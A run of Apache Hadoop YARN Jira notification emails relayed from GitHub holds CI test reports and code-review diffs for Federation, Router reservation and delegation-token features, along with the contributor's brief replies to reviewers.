+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
[jira] [Commented] (YARN-11276) Add lru cache for RMWebServices.getApps
[
https://issues.apache.org/jira/browse/YARN-11276?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583867#comment-17583867
]
ASF GitHub Bot commented on YARN-11276:
---
hadoop-yetus commented on PR #4793:
URL: https://github.com/apache/hadoop/pull/4793#issuecomment-1224924118
:confetti_ball: **+1 overall**
| Vote | Subsystem | Runtime | Logfile | Comment |
|::|--:|:|::|:---:|
| +0 :ok: | reexec | 0m 44s | | Docker mode activated. |
_ Prechecks _ |
| +1 :green_heart: | dupname | 0m 1s | | No case conflicting files
found. |
| +0 :ok: | codespell | 0m 0s | | codespell was not available. |
| +0 :ok: | detsecrets | 0m 0s | | detect-secrets was not available.
|
| +0 :ok: | xmllint | 0m 0s | | xmllint was not available. |
| +1 :green_heart: | @author | 0m 0s | | The patch does not contain
any @author tags. |
| +1 :green_heart: | test4tests | 0m 0s | | The patch appears to
include 2 new or modified test files. |
_ trunk Compile Tests _ |
| +0 :ok: | mvndep | 15m 23s | | Maven dependency ordering for branch |
| +1 :green_heart: | mvninstall | 25m 40s | | trunk passed |
| +1 :green_heart: | compile | 10m 0s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | compile | 8m 59s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | checkstyle | 2m 11s | | trunk passed |
| +1 :green_heart: | mvnsite | 4m 50s | | trunk passed |
| +1 :green_heart: | javadoc | 4m 32s | | trunk passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 4m 16s | | trunk passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 44s | | trunk passed |
| +1 :green_heart: | shadedclient | 22m 59s | | branch has no errors
when building and testing our client artifacts. |
_ Patch Compile Tests _ |
| +0 :ok: | mvndep | 0m 34s | | Maven dependency ordering for patch |
| +1 :green_heart: | mvninstall | 2m 32s | | the patch passed |
| +1 :green_heart: | compile | 9m 9s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javac | 9m 9s | | the patch passed |
| +1 :green_heart: | compile | 8m 45s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | javac | 8m 45s | | the patch passed |
| +1 :green_heart: | blanks | 0m 0s | | The patch has no blanks
issues. |
| +1 :green_heart: | checkstyle | 2m 4s | | the patch passed |
| +1 :green_heart: | mvnsite | 4m 13s | | the patch passed |
| +1 :green_heart: | javadoc | 3m 42s | | the patch passed with JDK
Private Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1 |
| +1 :green_heart: | javadoc | 3m 31s | | the patch passed with JDK
Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| +1 :green_heart: | spotbugs | 7m 30s | | the patch passed |
| +1 :green_heart: | shadedclient | 23m 21s | | patch has no errors
when building and testing our client artifacts. |
_ Other Tests _ |
| +1 :green_heart: | unit | 1m 36s | | hadoop-yarn-api in the patch
passed. |
| +1 :green_heart: | unit | 5m 21s | | hadoop-yarn-common in the patch
passed. |
| +1 :green_heart: | unit | 98m 51s | |
hadoop-yarn-server-resourcemanager in the patch passed. |
| +1 :green_heart: | asflicense | 1m 19s | | The patch does not
generate ASF License warnings. |
| | | 282m 14s | | |
| Subsystem | Report/Notes |
|--:|:-|
| Docker | ClientAPI=1.41 ServerAPI=1.41 base:
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/4/artifact/out/Dockerfile
|
| GITHUB PR | https://github.com/apache/hadoop/pull/4793 |
| Optional Tests | dupname asflicense compile javac javadoc mvninstall
mvnsite unit shadedclient spotbugs checkstyle codespell detsecrets xmllint |
| uname | Linux 0c9cd5142c56 4.15.0-191-generic #202-Ubuntu SMP Thu Aug 4
01:49:29 UTC 2022 x86_64 x86_64 x86_64 GNU/Linux |
| Build tool | maven |
| Personality | dev-support/bin/hadoop.sh |
| git revision | trunk / c84fa9842cf15cb599a3e5727bb937ed61c39bd7 |
| Default Java | Private Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Multi-JDK versions | /usr/lib/jvm/java-11-openjdk-amd64:Private
Build-11.0.15+10-Ubuntu-0ubuntu0.20.04.1
/usr/lib/jvm/java-8-openjdk-amd64:Private
Build-1.8.0_312-8u312-b07-0ubuntu1~20.04-b07 |
| Test Results |
https://ci-hadoop.apache.org/job/hadoop-multibranch/job/PR-4793/4/te
[jira] [Commented] (YARN-11275) [Federation] Add batchFinishApplicationMaster in UAMPoolManager
[
https://issues.apache.org/jira/browse/YARN-11275?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583935#comment-17583935
]
ASF GitHub Bot commented on YARN-11275:
---
slfan1989 commented on code in PR #4792:
URL: https://github.com/apache/hadoop/pull/4792#discussion_r953243985
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/uam/UnmanagedAMPoolManager.java:
##
@@ -450,4 +452,44 @@ public void drainUAMHeartbeats() {
uam.drainHeartbeatThread();
}
}
+
+ public Map
batchFinishApplicationMaster(
+ FinishApplicationMasterRequest request, String appId) {
+
+Map responseMap = new HashMap<>();
+Set subClusterIds = this.unmanagedAppMasterMap.keySet();
+
+if (subClusterIds.size() > 0) {
Review Comment:
Thank you very much for helping to review the code, I will modify the code.
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-nodemanager/src/test/java/org/apache/hadoop/yarn/server/nodemanager/amrmproxy/TestFederationInterceptor.java:
##
@@ -969,4 +969,58 @@ private PreemptionMessage createDummyPreemptionMessage(
preemptionMessage.setContract(contract);
return preemptionMessage;
}
+
+ @Test
+ public void testBatchFinishApplicationMaster() throws IOException,
InterruptedException {
+
+final RegisterApplicationMasterRequest registerReq =
+Records.newRecord(RegisterApplicationMasterRequest.class);
+registerReq.setHost(Integer.toString(testAppId));
+registerReq.setRpcPort(testAppId);
+registerReq.setTrackingUrl("");
+
+UserGroupInformation ugi =
interceptor.getUGIWithToken(interceptor.getAttemptId());
+
+ugi.doAs((PrivilegedExceptionAction) () -> {
+
+ // Register the application
+ RegisterApplicationMasterRequest registerReq1 =
+ Records.newRecord(RegisterApplicationMasterRequest.class);
+ registerReq1.setHost(Integer.toString(testAppId));
+ registerReq1.setRpcPort(0);
+ registerReq1.setTrackingUrl("");
+
+ // Register ApplicationMaster
+ RegisterApplicationMasterResponse registerResponse =
+ interceptor.registerApplicationMaster(registerReq1);
+ Assert.assertNotNull(registerResponse);
+ lastResponseId = 0;
+
+ Assert.assertEquals(0, interceptor.getUnmanagedAMPoolSize());
+
+ // Allocate the first batch of containers, with sc1 and sc2 active
+ registerSubCluster(SubClusterId.newInstance("SC-1"));
+ registerSubCluster(SubClusterId.newInstance("SC-2"));
+
+ int numberOfContainers = 3;
+ List containers =
+ getContainersAndAssert(numberOfContainers, numberOfContainers * 2);
+ Assert.assertEquals(2, interceptor.getUnmanagedAMPoolSize());
+ Assert.assertEquals(numberOfContainers, containers.size());
+
+ // Finish the application
+ FinishApplicationMasterRequest finishReq =
+ Records.newRecord(FinishApplicationMasterRequest.class);
+ finishReq.setDiagnostics("");
+ finishReq.setTrackingUrl("");
+ finishReq.setFinalApplicationStatus(FinalApplicationStatus.SUCCEEDED);
+
+ FinishApplicationMasterResponse finshResponse =
+ interceptor.finishApplicationMaster(finishReq);
+ Assert.assertNotNull(finshResponse);
+ Assert.assertEquals(true, finshResponse.getIsUnregistered());
Review Comment:
I will modify the code.
> [Federation] Add batchFinishApplicationMaster in UAMPoolManager
> ---
>
> Key: YARN-11275
> URL: https://issues.apache.org/jira/browse/YARN-11275
> Project: Hadoop YARN
> Issue Type: Improvement
> Components: federation, nodemanager
>Affects Versions: 3.4.0
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583938#comment-17583938
]
ASF GitHub Bot commented on YARN-11177:
---
slfan1989 commented on code in PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#discussion_r953245747
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
Review Comment:
Thanks for your suggestion, I will modify the code.
> Support getNewReservation, submitReservation, updateReservation,
> deleteReservation API's for Federation
> ---
>
> Key: YARN-11177
> URL: https://issues.apache.org/jira/browse/YARN-11177
> Project: Hadoop YARN
> Issue Type: Sub-task
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0
>
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583940#comment-17583940
]
ASF GitHub Bot commented on YARN-11177:
---
slfan1989 commented on code in PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#discussion_r953247032
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
+routerMetrics.succeededGetNewReservationRetrieved(stopTime -
startTime);
+return response;
+ }
+}
+
+routerMetrics.incrGetNewReservationFailedRetrieved();
+String errMsg = "Failed to create a new reservation.";
+throw new YarnException(errMsg);
}
@Override
public ReservationSubmissionResponse submitReservation(
ReservationSubmissionRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null || request.getReservationId() == null
+|| request.getReservationDefinition() == null ||
request.getQueue() == null) {
+ routerMetrics.incrSubmitReservationFailedRetrieved();
+ RouterServerUtil.logAndThrowException(
+ "Missing submitReservation request or reservationId " +
+ "or reservation definition or queue.", null);
+}
+
+ReservationSubmissionResponse response = null;
+long startTime = clock.getTime();
+ReservationId reservationId = request.getReservationId();
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+
+ SubClusterId subClusterId =
policyFacade.getReservationHomeSubCluster(request);
+
+ LOG.info("submitReservation reservationId {} try #{} on SubCluster {}.",
+ reservationId, i, subClusterId);
+
+ ReservationHomeSubCluster reservationHomeSubCluster =
+ ReservationHomeSubCluster.newInstance(reservationId, subClusterId);
+
+ if (i == 0) {
+try {
+ // persist the mapping of reservationId and the subClusterId which
has
+ // been selected as its home
+ subClusterId =
federationFacade.addReservationHomeSubCluster(reservationHomeSubCluster);
+} catch (YarnException e) {
+ routerMetrics.incrSubmitReservationFailedRetrieved();
+ String message =
+ String.format("Unable to insert the ReservationId %s into the
FederationStateStore.",
+ reservationId);
+ RouterServerUtil.logAndThrowException(message, e);
+}
+ } else {
+try {
+ // update the mapping of reservationId and the home subClusterId to
+ // the new subClusterId we have selected
+
federationFacade.updateReservationHomeSubCluster(reservationHomeSubCluster);
+} catch (YarnException e) {
+ String message =
+ String.format("Unable to update the ReservationId %s into the
FederationStateStore.",
Review Comment:
I will modify the code.
> Support getNewReservation, submitReservation, updateReservation,
> deleteReservation API's for Federation
> ---
>
> Key: YARN-11177
> URL: https://issues.apache.org/jira/browse/YARN-11177
> Project: Hadoop YARN
> Issue Type: Sub-task
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
>
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583945#comment-17583945
]
ASF GitHub Bot commented on YARN-11177:
---
slfan1989 commented on code in PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#discussion_r953253625
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
+routerMetrics.succeededGetNewReservationRetrieved(stopTime -
startTime);
+return response;
+ }
+}
+
+routerMetrics.incrGetNewReservationFailedRetrieved();
+String errMsg = "Failed to create a new reservation.";
+throw new YarnException(errMsg);
}
@Override
public ReservationSubmissionResponse submitReservation(
ReservationSubmissionRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null || request.getReservationId() == null
+|| request.getReservationDefinition() == null ||
request.getQueue() == null) {
+ routerMetrics.incrSubmitReservationFailedRetrieved();
+ RouterServerUtil.logAndThrowException(
+ "Missing submitReservation request or reservationId " +
+ "or reservation definition or queue.", null);
+}
+
+ReservationSubmissionResponse response = null;
Review Comment:
I will modify the code.
> Support getNewReservation, submitReservation, updateReservation,
> deleteReservation API's for Federation
> ---
>
> Key: YARN-11177
> URL: https://issues.apache.org/jira/browse/YARN-11177
> Project: Hadoop YARN
> Issue Type: Sub-task
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0
>
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11177) Support getNewReservation, submitReservation, updateReservation, deleteReservation API's for Federation
[
https://issues.apache.org/jira/browse/YARN-11177?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583948#comment-17583948
]
ASF GitHub Bot commented on YARN-11177:
---
slfan1989 commented on code in PR #4764:
URL: https://github.com/apache/hadoop/pull/4764#discussion_r953258995
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-router/src/main/java/org/apache/hadoop/yarn/server/router/clientrm/FederationClientInterceptor.java:
##
@@ -888,13 +890,120 @@ public MoveApplicationAcrossQueuesResponse
moveApplicationAcrossQueues(
@Override
public GetNewReservationResponse getNewReservation(
GetNewReservationRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null) {
+ routerMetrics.incrGetNewReservationFailedRetrieved();
+ String errMsg = "Missing getNewReservation request.";
+ RouterServerUtil.logAndThrowException(errMsg, null);
+}
+
+long startTime = clock.getTime();
+Map subClustersActive =
+federationFacade.getSubClusters(true);
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+ SubClusterId subClusterId = getRandomActiveSubCluster(subClustersActive);
+ LOG.info("getNewReservation try #{} on SubCluster {}.", i, subClusterId);
+ ApplicationClientProtocol clientRMProxy =
getClientRMProxyForSubCluster(subClusterId);
+ GetNewReservationResponse response = null;
+ try {
+response = clientRMProxy.getNewReservation(request);
+ } catch (Exception e) {
+LOG.warn("Unable to create a new Reservation in SubCluster {}.",
subClusterId.getId(), e);
+subClustersActive.remove(subClusterId);
+ }
+
+ if (response != null) {
+long stopTime = clock.getTime();
+routerMetrics.succeededGetNewReservationRetrieved(stopTime -
startTime);
+return response;
+ }
+}
+
+routerMetrics.incrGetNewReservationFailedRetrieved();
+String errMsg = "Failed to create a new reservation.";
+throw new YarnException(errMsg);
}
@Override
public ReservationSubmissionResponse submitReservation(
ReservationSubmissionRequest request) throws YarnException, IOException {
-throw new NotImplementedException("Code is not implemented");
+
+if (request == null || request.getReservationId() == null
+|| request.getReservationDefinition() == null ||
request.getQueue() == null) {
+ routerMetrics.incrSubmitReservationFailedRetrieved();
+ RouterServerUtil.logAndThrowException(
+ "Missing submitReservation request or reservationId " +
+ "or reservation definition or queue.", null);
+}
+
+ReservationSubmissionResponse response = null;
+long startTime = clock.getTime();
+ReservationId reservationId = request.getReservationId();
+
+for (int i = 0; i < numSubmitRetries; ++i) {
+
+ SubClusterId subClusterId =
policyFacade.getReservationHomeSubCluster(request);
+
+ LOG.info("submitReservation reservationId {} try #{} on SubCluster {}.",
+ reservationId, i, subClusterId);
+
+ ReservationHomeSubCluster reservationHomeSubCluster =
+ ReservationHomeSubCluster.newInstance(reservationId, subClusterId);
+
+ if (i == 0) {
Review Comment:
I tried to refactor this part of the code, please help to review the code
again.
> Support getNewReservation, submitReservation, updateReservation,
> deleteReservation API's for Federation
> ---
>
> Key: YARN-11177
> URL: https://issues.apache.org/jira/browse/YARN-11177
> Project: Hadoop YARN
> Issue Type: Sub-task
>Reporter: fanshilun
>Assignee: fanshilun
>Priority: Major
> Labels: pull-request-available
> Fix For: 3.4.0
>
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583956#comment-17583956
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953266280
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/federation/store/impl/MemoryFederationStateStore.java:
##
@@ -370,6 +385,142 @@ public GetReservationsHomeSubClusterResponse
getReservationsHomeSubCluster(
return GetReservationsHomeSubClusterResponse.newInstance(result);
}
+ @Override
+ public RouterMasterKeyResponse storeNewMasterKey(RouterMasterKeyRequest
request)
+ throws YarnException, IOException {
+
+// Restore the DelegationKey from the request
+RouterMasterKey masterKey = request.getRouterMasterKey();
+ByteBuffer keyByteBuf = masterKey.getKeyBytes();
Review Comment:
Thanks for your suggestion, I will refactor this part of the code.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-11240) Fix incorrect placeholder in yarn-module
[ https://issues.apache.org/jira/browse/YARN-11240?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583959#comment-17583959 ] ASF GitHub Bot commented on YARN-11240: --- slfan1989 commented on PR #4678: URL: https://github.com/apache/hadoop/pull/4678#issuecomment-1225113830 @ayushtkn Can you help review the code again? Thank you very much! > Fix incorrect placeholder in yarn-module > > > Key: YARN-11240 > URL: https://issues.apache.org/jira/browse/YARN-11240 > Project: Hadoop YARN > Issue Type: Improvement >Affects Versions: 3.4.0 >Reporter: fanshilun >Assignee: fanshilun >Priority: Minor > Labels: pull-request-available > Time Spent: 20m > Remaining Estimate: 0h > > Try to deal with the moudle problem at a time. -- This message was sent by Atlassian Jira (v8.20.10#820010) - To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583962#comment-17583962
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953289930
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-common/src/main/java/org/apache/hadoop/yarn/security/client/YARNDelegationTokenIdentifier.java:
##
@@ -112,4 +115,14 @@ public YARNDelegationTokenIdentifierProto getProto() {
setBuilderFields();
return builder.build();
}
+
+ @InterfaceAudience.Private
Review Comment:
I will modify the code.
> Yarn Router Support DelegationToken
> ---
>
> Key: YARN-9708
> URL: https://issues.apache.org/jira/browse/YARN-9708
> Project: Hadoop YARN
> Issue Type: New Feature
> Components: router
>Affects Versions: 3.1.1
>Reporter: Xie YiFan
>Assignee: fanshilun
>Priority: Minor
> Labels: pull-request-available
> Attachments: Add_getDelegationToken_and_SecureLogin_in_router.patch,
> RMDelegationTokenSecretManager_storeNewMasterKey.svg,
> RouterDelegationTokenSecretManager_storeNewMasterKey.svg
>
>
> 1.we use router as proxy to manage multiple cluster which be independent of
> each other in order to apply unified client. Thus, we implement our
> customized AMRMProxyPolicy that doesn't broadcast ResourceRequest to other
> cluster.
> 2.Our production environment need kerberos. But router doesn't support
> SecureLogin for now.
> https://issues.apache.org/jira/browse/YARN-6539 desn't work. So we
> improvement it.
> 3.Some framework like oozie would get Token via yarnclient#getDelegationToken
> which router doesn't support. Our solution is that adding homeCluster to
> ApplicationSubmissionContextProto & GetDelegationTokenRequestProto. Job would
> be submitted with specified clusterid so that router knows which cluster to
> submit this job. Router would get Token from one RM according to specified
> clusterid when client call getDelegation meanwhile apply some mechanism to
> save this token in memory.
>
--
This message was sent by Atlassian Jira
(v8.20.10#820010)
-
To unsubscribe, e-mail: yarn-issues-unsubscr...@hadoop.apache.org
For additional commands, e-mail: yarn-issues-h...@hadoop.apache.org
[jira] [Commented] (YARN-9708) Yarn Router Support DelegationToken
[
https://issues.apache.org/jira/browse/YARN-9708?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=17583963#comment-17583963
]
ASF GitHub Bot commented on YARN-9708:
--
slfan1989 commented on code in PR #4746:
URL: https://github.com/apache/hadoop/pull/4746#discussion_r953290103
##
hadoop-yarn-project/hadoop-yarn/hadoop-yarn-server/hadoop-yarn-server-common/src/main/java/org/apache/hadoop/yarn/server/federation/store/records/RouterMasterKey.java:
##
@@ -0,0 +1,128 @@
+/**
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements. See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership. The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License. You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package org.apache.hadoop.yarn.server.federation.store.records;
+
+import org.apache.hadoop.classification.InterfaceAudience;
+import org.apache.hadoop.classification.InterfaceStability;
+import org.apache.hadoop.yarn.util.Records;
+
+import java.nio.ByteBuffer;
+import java.util.Arrays;
+
+@InterfaceAudience.Private
+@InterfaceStability.Unstable
+public abstract class RouterMasterKey {
+
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public static RouterMasterKey newInstance(Integer keyId, ByteBuffer
keyBytes, Long expiryDate) {
+RouterMasterKey policy = Records.newRecord(RouterMasterKey.class);
+policy.setKeyId(keyId);
+policy.setKeyBytes(keyBytes);
+policy.setExpiryDate(expiryDate);
+return policy;
+ }
+
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public static RouterMasterKey newInstance(RouterMasterKey masterKey) {
+RouterMasterKey routerMasterKey = Records.newRecord(RouterMasterKey.class);
+routerMasterKey.setKeyId(masterKey.getKeyId());
+routerMasterKey.setKeyBytes(masterKey.getKeyBytes());
+routerMasterKey.setExpiryDate(masterKey.getExpiryDate());
+return routerMasterKey;
+ }
+
+ /**
+ * Get the keyId of the MasterKey.
+ *
+ * @return MasterKeyId.
+ */
+ @InterfaceAudience.Public
+ @InterfaceStability.Unstable
+ public abstract Integer getKeyId();
+
+ /**
+ * Set the keyId of the MasterKey.
+ *
+ * @param keyId MasterKeyId.
+ */
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public abstract void setKeyId(Integer keyId);
+
+ /**
+ * Get the keyBytes of the DelegationKey.
+ *
+ * @return KeyBytes of the DelegationKey.
+ */
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public abstract ByteBuffer getKeyBytes();
+
+ /**
+ * Set the keyBytes of the DelegationKey.
+ *
+ * @param keyBytes KeyBytes of the DelegationKey.
+ */
+ @InterfaceAudience.Private
+ @InterfaceStability.Unstable
+ public abstract void setKeyBytes(ByteBuffer keyBytes);
+
+ /**
